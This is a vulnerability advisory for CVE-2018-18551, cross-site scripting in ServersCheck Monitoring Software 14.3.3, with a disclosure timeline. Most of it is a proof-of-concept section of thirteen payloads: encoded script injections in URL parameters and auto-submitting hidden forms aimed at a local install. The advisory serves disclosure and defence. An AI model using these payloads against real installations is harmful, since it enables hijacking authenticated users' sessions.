ServersCheck Monitoring Software 14.3.3 Cross Site Scripting

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2018-18551-SERVERSCHECK-MONITORING-SOFTWARE-CROSS-SITE-SCRIPTING.txt  
[+] ISR: ApparitionSec   
  
  
Greetz: ***Greetz: indoushka | Eduardo B.***  
  
  
[Vendor]  
www.serverscheck.com  
  
  
[Product]  
ServersCheck Monitoring Software - through 14.3.3  
  
Software for monitoring your edge computing infrastructure, network & servers.  
  
http://downloads.serverscheck.com/monitoring_software/setup.exe  
File hash: b7bffe4fc83b6a4586c099d6c62d8eeb  
  
  
  
[Vulnerability Type]  
Cross Site Scripting  
  
  
[CVE Reference]  
CVE-2018-18551  
  
  
[Security Issue]  
ServersCheck Monitoring Software has Reflected and Persistent XSS entry points available in many locations allowing arbitrary code execution in the security context  
of the currently authenticated user.  
  
sensors.html status parameter  
sensors.html type parameter  
sensors.html device parameter  
report.html location parameter  
group_delete.html group parameter  
report_save.html query parameter  
sensors.html location parameter  
group_delete.html group parameter.  
  
  
[References]  
https://serverscheck.com/monitoring-software/release.asp  
  
  
[Exploit/POC]  
  
XSS 1)  
http://127.0.0.1:1272/sensors.html?status=%3Cscript%3Ealert(0)%3C/script%3E  
  
XSS 2)  
http://127.0.0.1:1272/sensors.html?type=%3Cscript%3Ealert(1)%3C/script%3E&location=%27  
  
XSS 3)  
http://127.0.0.1:1272/sensors.html?device=%3Cscript%3Ealert(2)%3C/script%3E  
  
XSS 4)  
http://127.0.0.1:1272/report.html?location=&sensor_types=%3C%2Fh2%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch2%3E  
  
XSS 5)  
http://127.0.0.1:1272/group_delete.html?group=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E  
  
XSS 6)  
http://127.0.0.1:1272/report_save.html?query=%27%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E  
  
XSS 7)  
http://127.0.0.1:1272/sensors.html?location=&type=%3C%2Fli%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cli%3E  
  
XSS 8)  
http://127.0.0.1:1272/group_delete.html?group=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E  
  
  
XSS 9)  
  
<form action="http://127.0.0.1:1272/report.html" method="post">  
<input type="hidden" name="datefrom" value="'/><script>alert(1)</script>">  
<input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52">  
<input type="hidden" name="location" value="">  
<input type="hidden" name="sensor_types" value="CPUcontrol_sgw">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
XSS 10)  
<form action="http://127.0.0.1:1272/report.html" method="post">  
<input type="hidden" name="datefrom" value="9%2F29%2F2018">  
<input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52">  
<input type="hidden" name="every" value="'><script>alert(1)</script>">  
<input type="hidden" name="report_title" value="POC">  
<input type="hidden" name="sensor_names" value="">  
<input type="hidden" name="sensor_types" value="PING">  
<input type="hidden" name="time_frame" value="4h">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
XSS 11)  
<form action="http://127.0.0.1:1272/report.html" method="post">  
<input type="hidden" name="datefrom" value="9%2F29%2F2018">  
<input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52">  
<input type="hidden" name="every" value="0">  
<input type="hidden" name="report_title" value="'><script>alert(1)</script>">  
<input type="hidden" name="sensor_names" value="">  
<input type="hidden" name="sensor_types" value="PING">  
<input type="hidden" name="time_frame" value="4h">  
<script>document.forms[0].submit()</script>  
</form>  
  
XSS 12)  
<form action="http://127.0.0.1:1272/report.html" method="post">  
<input type="hidden" name="datefrom" value="9%2F29%2F2018">  
<input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52">  
<input type="hidden" name="every" value="0">  
<input type="hidden" name="report_title" value="PWN">  
<input type="hidden" name="sensor_names" value="'><script>alert(1)</script>">  
<input type="hidden" name="sensor_types" value="PING">  
<input type="hidden" name="time_frame" value="4h">  
<script>document.forms[0].submit()</script>  
</form>  
  
  
13 PERSISTENT XSS)  
http://127.0.0.1:1272/floorplan_editor.html?floorplan=16  
PARAM lat & lng & location_name  
http://127.0.0.1:1272/location_save.html  
;alert(1);  
  
  
[Network Access]  
Remote  
  
  
[Severity]  
Medium  
  
  
[Disclosure Timeline]  
Vendor Notification: October 6, 2018  
Vendor acknowledgement: October 7, 2018  
Vendor release v14.3.4 : October 7th, 2018   
CVE assign by Mitre: October 21, 2018  
October 22, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`